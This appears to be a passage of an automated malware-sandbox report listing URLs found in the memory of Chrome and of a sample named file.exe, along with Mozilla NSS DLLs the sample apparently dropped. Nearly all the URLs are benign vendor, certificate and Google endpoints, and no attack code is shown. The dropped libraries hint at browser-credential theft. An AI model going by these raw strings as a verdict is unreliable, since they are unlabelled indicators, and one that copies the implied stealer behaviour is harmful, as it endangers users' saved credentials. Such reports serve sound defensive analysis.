Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896191966.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896354732.000007C000F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896292740.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896319091.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895041870.000007C0010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896191966.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896354732.000007C000F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896292740.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896319091.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895041870.000007C0010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896191966.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896354732.000007C000F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896292740.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896319091.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895041870.000007C0010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896191966.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896354732.000007C000F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896292740.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896319091.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895041870.000007C0010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_75.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156864317.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000002.00000003.1896625755.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1892762006.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891120034.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1892040842.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1893643055.000007C000454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000002.00000003.1908496718.000007C000340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chromecache_79.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_79.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.4.dr, chromecache_79.4.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1892762006.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891120034.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1892040842.000007C000454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1893643055.000007C000454000.00000004.00000800.00020000.00000000.sdmp, EBGIEGCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000002.00000003.1891726026.000007C000CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000002.00000003.1891677208.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1894529331.000007C000CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1894339070.000007C000FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1898291752.000007C000CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1897002075.000007C000340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1892608136.000007C000CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891726026.000007C000CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000002.00000003.1879184236.00004E2400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000002.00000003.1875038464.00003E28002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1875051216.00003E28002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_79.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_79.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000002.00000003.1915033215.000007C000FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
